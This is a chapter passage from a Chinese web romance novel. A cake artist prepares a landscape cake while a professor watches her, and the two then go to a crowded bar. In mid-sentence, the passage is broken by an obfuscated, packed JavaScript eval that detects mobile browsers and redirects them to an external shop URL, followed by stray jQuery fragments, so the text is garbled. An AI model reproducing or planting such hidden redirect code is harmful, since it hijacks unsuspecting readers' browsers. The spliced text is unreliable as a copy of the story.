早起依旧是姜梨雷打不动的好习惯。
带一笼生煎包,一杯小米粥,吃过早饭后直接转身就投入工作。
当地一家电视台明日举办三十周年庆典活动,企划部负责人特意选择了她的工作室。
因此姜梨很重视。
蛋糕坯在前一天都已准备就绪。
小助理们九点半进入工作室时,她已经把蛋糕坯做成基础模型,装饰需要的小彩灯、可可粉、焦糖饼干和椰蓉等材料也摆好,像准备手术的医生,等人到齐就开始。
工作时,姜梨说话总是很轻,仿佛蛋糕是有生命的,怕吓坏它们。而小助理们渐渐对这位北方来的女孩儿也有所改观。
“姜梨姐姐,你真是从北方来的?我以为北方人说话都像打仗一样呢。”
姜梨只笑不语。
另一个嘴快地插话道,“你从哪儿看的,网上那些都是夸张过的。你是上江本地的吧,我们可不认为你整天只会说好的呀、港度、寿头……”
插话的小姑娘也是北方人,不过和姜梨不同省,但性子直爽。学起上江本地方言活灵活现,眼睛里都带了情绪。
最开始说话的小姑娘并不气恼,反而还做个鬼脸回应。
姜梨笑着用胳膊肘碰碰,示意她把椰蓉拿给自己。
几个女孩儿笑着互相看看,这话题就愉快地过去了。
这样的氛围是景观蛋糕工作室最普通的状态,却是女孩儿们求之不得的。
然而轻松愉快的气氛在蒋清南到来之后却怪异得可笑。
他一踏进工作间,女孩儿们手里的动作都停了。
姜梨慢半拍才回头,本想安排对方去休息室等自己。
可蒋清南把笔记本放到靠墙一侧的平台上,说,“在这儿也不妨碍你吧。”
姜梨没反驳。
蒋清南在哪儿都影响不到自己。
但小姑娘们却总时不时地借机会瞟一眼,姜梨只觉得爱美之心,会心一笑,几个小姑娘顿时脸红了。
蒋清南背对女孩儿们,旁边就是姜梨的笔记本电脑和一份手账。
电脑屏幕上是一份带详细标注的景观蛋糕设计彩图,手账上的草图更简洁,但有可爱贴纸暂时代替蛋糕装饰。
他目光停住许久,才打开自己的笔记本电脑,批改学生论文。
身后几个小姑娘轻声嘀咕。
“昨天系主任通知蒋老师的选修课停课一次,没想到来咱们这儿……真是逃得过初一逃不过十五。”
“好了,小点儿声吧。只是选修课,你没上蒋老师的专业课呢,缺课一次……”
那女孩儿伸出手掌做刀状从颈前划过。
蒋清南轻声咳了咳,两个女孩儿都闭嘴了。
姜梨这才知道这两个兼职是蒋清南的学生。看来他做老师和做人一样,高傲而不自知。
明知道有学生在还要巴巴跟过来。
她嘱咐兼职去整理仓库和备品,算是让她们休息一下。接下来都是细活,有一两个人慢慢弄就好,人多手杂反而出乱子。
姜梨越专注,蒋清南反而越分神。
他连一份完整的论文都没有看完,总觉得论据不充分,论证不严谨,论述不深刻。
关闭文档后侧头用余光捕捉到女孩儿的影子依旧立在原地不动,正和另一个姑娘把像果冻一样的材料铺成江水。
从前听同事背后议论,如果有人愿意听他讲课,要么是学霸要么是外貌协会的。
他也见过无数女生,跨专业选修甚至只是为了见他一面。哪怕他的课堂是出了名的严肃不活泼。
他一直不明白这些女孩儿的心思,可今天突然共情了。
是难以言说的向往和不敢逾越的克制,让她们慕名来到自己的课堂,也让他来到姜梨身边。
怕打扰姜梨,蒋清南又打开自己编写的《考古视角下的文化遗产保护》,根据编辑给出的意见进行修改。
这样的事通常会让他心安,可现在却怎么也静不下来。
再转头,女孩儿那边的江水已经漫上台阶,江面泛起花纹样的涟漪。
心头像埋了千万正待发芽的种子,破土而出的力量促使蒋清南放弃挣扎。
点击关闭软件,扣上电脑,眼镜扔在一边,捏着眉心摇头。
“累了可以去休息室等我。”
姜梨正和小助手把大蛋糕放进冰柜冷藏。等待江水凝固后再铺设其他装饰就完成了。等候的时间正好可以帮其他人做蛋糕裱花和装饰用的小动物。
“虽然不妨碍,但会让我分心。”
姜梨一边用手给还差点儿意思的奶油霜做回温,一边用命令的语气吩咐蒋清南,“去隔壁喝咖啡吧,师兄买了好多,我一个人喝不完。”
头罩红色三角巾,身围棉质红白格围裙的女孩儿笑呵呵地调侃,茫然回头的蒋清南一愣。
刚进屋时,姜梨一直背对他,看得出是牛仔短裤配T恤的休闲打扮。可从正面看,下身就只有修长笔直的一双腿。
只一瞬,蒋清南觉得耳根发烫,再呆下去恐怕失态。
他慌乱地点头,立刻听话起身,去了休息室。
门刚合拢,工作室内顷刻爆发低低的笑声。
姜梨疑惑地看着掩唇窃笑的女孩儿,眉毛拧着,不明白她们笑什么。
“姜梨姐姐,我第一次看见老师脸红。”
两个兼职学生笑得抱在一起。
“你知道学校里多少女生给老师写情书都被无情拒绝,从来都是别人在他面前脸红,姜梨姐姐,你俩是不是……”
“胡说,做蛋糕去!”
姜梨假装要打,几个女孩儿马上散开。
因为这小小插曲,再次忙碌起来的工作室都带着轻松的气氛。等到把翻糖材质的电视台台标放到指定位置上时,太阳已经快要落山了。
姜梨对大家连说抱歉,再目送几个小姑娘离开。这是她到上江以来一直保持的习惯。
也许在潜意识中,只有梨予甜境和那里的女孩儿们才是患难与共的家人。
这里不过是漫长生命历程的中转站罢了。
工作室大门关闭,姜梨才去休息室叫上蒋清南一起下楼。
一楼和二楼仍旧灯火通明,通常要营业到晚上九点。姜梨带着蒋清南走安全通道离开。
在其他人工作期间明目张胆地下班,姜梨总觉得不够厚道。
白色Oversize T
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107252|187902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恤下摆斜扎进牛仔短裤。昏暗通道内,白T和一双长腿十分醒目。
蒋清南握拳掩唇,咳了咳。
“要不要换件衣服。”
蒋清南虽然不常出入酒吧,但也知道一个女孩儿穿成这样去那里不安全,可又不好明说,怕姜梨觉得自己厌恶或嫌弃。
姜梨没停下脚步,一边扶着栏杆摸索下楼,一边惊讶道,“很正式的酒吧吗?我没有特别隆重的衣服。不然……”
转回身,她打量身着休闲西装的蒋清南,自己这一身确实草率些。
本想说算了,可蒋清南已经先一步推开厚重铁门。猝不及防地逼近和男人身上灼热的体温令人措手不及。
她快一步出了通道等在门边,随着蒋清南一起往车那边走。
扣好安全带也不见蒋清南上车。
后座车门开了又关,他才坐回位置。西装外套已经挂在后方,浅灰色丝质衬衫勾勒出谦和洒脱线条。
蒋清南耐心地把袖子挽起露出小臂,又解开两颗扣子,满意地看了看自己,又看看她,才笑着说,“这样就好了。”
姜梨无奈地把头靠在车窗上,故意忽略被精钢表链紧箍的小臂,脉络分明,轮廓清晰,像被画师精修过。
蒋清南还不罢休,趁着第一个红灯扭头看她,目光含着征询和调侃。
很快,红灯倒数只剩三秒,他依旧没有转回头的意思,姜梨只得轻叹声,“这一点儿也不像蒋教授。”
“你很了解我?听两个学生的几句话就算了解了?姜小姐也太片面了吧。”
再次用这称呼,没了初见的讽刺,反而透着一点点别样的窃喜。
这感觉像一款前调不讨喜,但中调格外醉人的香水。而女孩儿勾起的唇角,则是令人沉迷而不自知的尾调。
“要不要先吃点东西。”
蒋清南有意将尾调延长,再加入新的配方。姜梨顺势说,“去酒吧点个三明治就行。那里会有吧。”
“应……该……吧。”
“原来也有蒋教授回答不了的问题呢!”
车内,放肆笑声是独属于蒋清南的特调迷迭香。
黑色轿车进入停车场就有服务生早早守在门口,接过钥匙将车开走。
毗邻江边繁华商圈,也是上江夜生活最热闹的去处之一。
Seven eleven 酒吧厚重金属质感的装修风格和简约直白的灯牌设计在一众五彩纷呈的街灯中反而独树一帜,博人倾慕。
而进入酒吧则发现,这分明是另一番天地。
倘若不是有金属外壳隔绝,这里恐怕要把半个上江掀翻。
她挑挑眉看向一旁愁眉苦脸的蒋清南。
“没办法!我带的第一批学生,总要给面子。”他附在她耳边,几近嘶吼般喊出一句。
姜梨笑着摆摆手,不计较。
因为人多,蒋清南不得不近身护着,才免得女孩儿被转角突然窜出的冒失家伙撞到。
眼看包厢门近在迟尺,从一旁突然窜出个巨大黑影,两人被直接撞在墙上。
姜梨还没来得及喊疼,就听到男孩瓮声瓮气地喊“蒋老师?我艹,真是蒋老师,那谁,你输了,蒋老师真来了。”